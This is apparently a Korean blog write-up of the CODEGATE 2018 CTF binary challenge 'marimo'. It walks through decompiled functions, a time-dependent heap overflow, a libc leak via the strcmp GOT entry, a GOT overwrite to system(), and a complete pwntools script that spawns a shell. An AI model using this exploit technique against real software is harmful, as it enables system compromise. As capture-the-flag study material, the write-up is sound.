CODEGATE2018] marimo

노션으로 옮김·2020년 4월 24일
1

wargame

목록 보기
43/59
post-thumbnail

문제

4가지의 메뉴가 있다.
bowls를 확인하고 구매하거나 판매할 수 있으며, about 페이지를 출력해준다.


풀이

IDA로 주요 함수를 확인해본다.
(함수명은 임의로 변경한 것이다.)

main

    while ( createMoss(&input) );
    switch ( input )
    {
      case 'V':
        viewBowl();
        break;
      case 'B':
        buyMoss();
        break;
      case 'S':
        sellMoss();
        break;
      case 'Q':
        puts("bye");
        exit(0);
        return;
      case 'A':
        printAbout();
        break;
      default:
        puts("wrong input");
        break;
    }
  }
}

메뉴를 입력받고 분기한다.
주목할 것은 그 전에 createMoss라는 함수를 호출한다는 것이다.

createMoss

signed __int64 __fastcall createMoss(const char *a1)
{
  void *p_heap; // ST18_8@2
  signed __int64 result; // rax@2

  if ( !strcmp(a1, "show me the marimo") )
  {
    p_heap = malloc(0x18uLL);
    initMoss(p_heap, 1u, 5u);
    g_arrMoss[g_idxMoss++] = p_heap;
    result = 1LL;
  }
  else
  {
    result = 0LL;
  }
  return result;
}

입력한 메뉴가 "show me the mario"라는 문자열이라면 initMoss를 호출한다.

initMoss

char *__fastcall initMoss(__int64 p_heap, unsigned int size, unsigned int price)
{
  unsigned __int64 v3; // ST00_8@1
  int _size; // ST04_4@1

  v3 = __PAIR__(size, price);
  *p_heap = time(0LL);
  *(p_heap + 4) = size;
  *(p_heap + 8) = malloc(0x10uLL);
  puts("What's your new marimo's name? (0x10)");
  printf(">> ", v3);
  fflush(stdout);
  __isoc99_scanf("%16s", *(p_heap + 8));
  *(p_heap + 16) = malloc(32 * _size);
  printf("write %s's profile. (0x%X)\n", *(p_heap + 8), (32 * _size));
  fflush(stdout);
  printf(">> ");
  fflush(stdout);
  return myRead(*(p_heap + 16), 32 * _size);
}

heap을 할당해서 moss 객체를 생성한다. 사용자는 이 객체에 nameprofile 값을 입력할 수 있으며, 또한 이 객체에 현재 시간 값과 size 값이 저장된다.

취약점

printMoss

__int64 __fastcall printMoss(__int64 p_moss)
{
  unsigned int time; // ST18_4@1
  int size; // [sp+1Ch] [bp-24h]@1
  char v4; // [sp+20h] [bp-20h]@1
  __int64 v5; // [sp+38h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);
  puts(&byte_4014F4);
  printf("birth : %d\n", *p_moss);
  time = ::time(0LL);
  printf("current time : %d\n", time);
  size = time + *(p_moss + 4) - *p_moss;
  printf("size : %d\n", size);
  printf("price : %d\n", (5 * size));
  printf("name : %s\n", *(p_moss + 8));
  printf("profile : %s\n", *(p_moss + 16));
  puts(&byte_4014F4);
  puts("[M]odify / [B]ack ?");
  printf(">> ");
  fflush(stdout);
  __isoc99_scanf("%19s", &v4);
  if ( v4 == 'M' )
  {
    puts("Give me new profile");
    printf(">> ", &v4);
    fflush(stdout);
    myRead(*(p_moss + 16), 32 * size);
    printMoss(p_moss);
  }
  return *MK_FP(__FS__, 40LL) ^ v5;
}

위는 메뉴 입력시, 'V'를 입력했을 때 실행되는 함수의 코드이다.
나는 여기서 취약점을 발견했다.

객체의 값을 출력해주고, 'M'을 입력시 객체의 profile값을 수정할 수 있다.

문제는, 수정할 profilesize 값에 있다.

myRead()는 2번째 인자인 size만큼 키보드 입력을 받아서, 1번째 인자인 profile에 저장하는 사용자 정의 함수이다.

그런데 size가 설정되는 코드를 보면

size = time + *(p_moss + 4) - *p_moss;

time(현재 시간값)과 moss에 저장되있던 size를 더한 값에서 moss를 생성했을 때의 시간 값을 빼고 있다.

값의 결과는 moss를 생성했던 시간과 현재 시간과의 차이 값이다.

즉, 내가 해당 코드를 늦게 실행할 수록 size의 값은 커진다.

또한 myRead에 전달될 때 size에 32를 곱하므로, 짧은 시간 후에 해당 코드를 실행시켜도 오버플로우가 발생한다.

메모리 구조

객체를 2개 생성하고 나서 메모리 상태를 확인해보자.

연이어 저장되어 있다.

앞서 발견한 취약점으로 A객체를 오버플로우시킨다면 B의 값을 변조시킨 후, B에 접근해 변조된 값을 사용하도록 만들 수 있다.

취약점 증명

다음은 B 객체를 임의로 'TTTTTT...TTTT'의 값으로 오버플로우 시킨 후, B 객체가 사용되도록 코드를 유도했을 때의 결과다.

B 객체의 내용을 출력하는 코드에서 에러가 발생했다.
0x5454545454545454는 존재하지 않는 주소이므로 printf() 실행도중 에러가 발생한 것이다.

시나리오 구성

문제 바이너리를 보면 pie만 적용되어 있지 않다.

root@kali:/work/ctf/CODEGATE2018/marimo# checksec marimo
[*] '/work/ctf/CODEGATE2018/marimo/marimo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

aslr이 걸려있을 거라고 가정하고, got overwrite을 이용할 것이다.

먼저, 객체 2개를 생성한다.
그리고 printMoss를 호출하여 1번째 객체의 profile값을 수정하는데 이 값을 오버플로우 시켜서 2번째 객체의 값을 덮어쓴다.
덮어쓰는 값은 2번째 객체의 nameprofile 위치에 strcmp의 got주소가 오도록 만든다.

그리고 다시 printMoss를 호출하면 2번째 객체의 name을 출력할 때 덮어써진 strcmp의 got 주소가 출력될 것이므로, 이 출력되는 값을 확인하여 libc 주소를 확인할 수 있다. 이것을 이용해 system의 주소를 구한다.

바로 'M'을 입력하여 2번째 객체의 profile을 수정하면, myRead()는 키보드 입력을 받아서 profile에 저장된 strcmp의 got주소에 있는 값을 수정할 것이다.

이 때, 계산된 system()의 주소를 입력하면 strcmp의 got주소에 system주소가 저장될 것이다.

그리고 다시 main으로 빠져나오면 createMoss()가 호출된다.
createMoss()를 다시 확인해보면

createMoss

signed __int64 __fastcall createMoss(const char *a1)
{
  void *p_heap; // ST18_8@2
  signed __int64 result; // rax@2

  if ( !strcmp(a1, "show me the marimo") )
  {

사용자가 입력한 a1을 인자로 strcmp를 호출하고 있다.

strcmp의 주소는 system으로 변경되었으므로, 내가 메뉴 입력시/bin/sh를 입력했다면 쉘이 실행될 것이다.

주의

1번째 객체를 오버플로우할 때, 조작할 2번째 객체의 profilename 값만 입력하는게 아니라 time, size 값도 맞춰줘야 한다.

myRead 함수를 보면

char *__fastcall myRead(char *dst, int size)
{
  char *result; // rax@6
  char v3; // [sp+1Bh] [bp-5h]@3
  int i; // [sp+1Ch] [bp-4h]@2

  while ( _IO_getc(stdin) != 10 )
    ;
  for ( i = 0; i < size; ++i )
  {

for문에서 size 값을 i와 비교할 때 signed jump인 jl로 분기하게 된다.

오버플로우 시킬 때 size, time 값을 제대로 설정하지 않으면
size를 계산하는 아래의 코드에서

size = time + *(p_moss + 4) - *p_moss;

부호비트의 MSB가 1인 결과가 나올 수 있다.

size는 충분히 큰 값이지만, 음수로 인식되어 myRead 함수 안에서 for문이 스킵되고 값을 입력할 수 없게 된다.

익스플로잇

파이썬을 이용하여 코드를 작성하였다.

from pwn import *
import time

#context.update(arch='amd64', os='linux', log_level='debug')
p = process('marimo')

def createMoss(ch):
    p.sendline('show me the marimo')
    p.sendlineafter('name? (0x10)', ch*0x10)
    p.sendlineafter(')\n', ch*0x32)
    

p.recvrepeat(0.2)
createMoss('a')
p.recvrepeat(0.2)
createMoss('b')
p.recvrepeat(0.2)
p.sendline('V')


time.sleep(3)

#overwrite moss[1]'s profile address to printf
elf = ELF('marimo')
got_strcmp = elf.got['strcmp']
log.info('got_printf : ' + hex(got_strcmp))
offset_to_m1name = 0x38
p.sendlineafter('>> ', '0')
p.recvuntil('time : ')
cur_time = int(p.recvline().replace('\n', ''),10)
p.sendlineafter('>> ', 'M')
p.sendlineafter('>> ','a'*(offset_to_m1name-8)+p32(cur_time)+p32(0x10)+p64(got_strcmp)*2)
p.sendlineafter('>> ', 'B')


#into View moss
p.recvrepeat(0.2)
p.sendline('V\x03')


#leak printf in libc
p.sendlineafter('>> ', '1')
p.recvuntil('name : ')
addr_strcmp = u64(p.recvline().replace('\n', '').ljust(8, '\x00'))
log.info('addr of strcmp: ' + hex(addr_strcmp))


#overwrite strcmp's got to system
p.sendlineafter('>> ', 'M')
offset_unknown = 0x111390
addr_system = addr_strcmp - offset_unknown
log.info('addr_system : {0} - {1} = {2}'.format(hex(addr_strcmp), hex(offset_unknown), hex(addr_system)))
p.sendlineafter('>> ', p64(addr_system))
p.sendlineafter('>> ', 'B')


#execute /bin/sh 
p.recvrepeat(0.2)
p.sendline('/bin/sh;')
p.interactive()

코드를 실행하면

쉘이 실행된 것을 확인할 수 있다.

0개의 댓글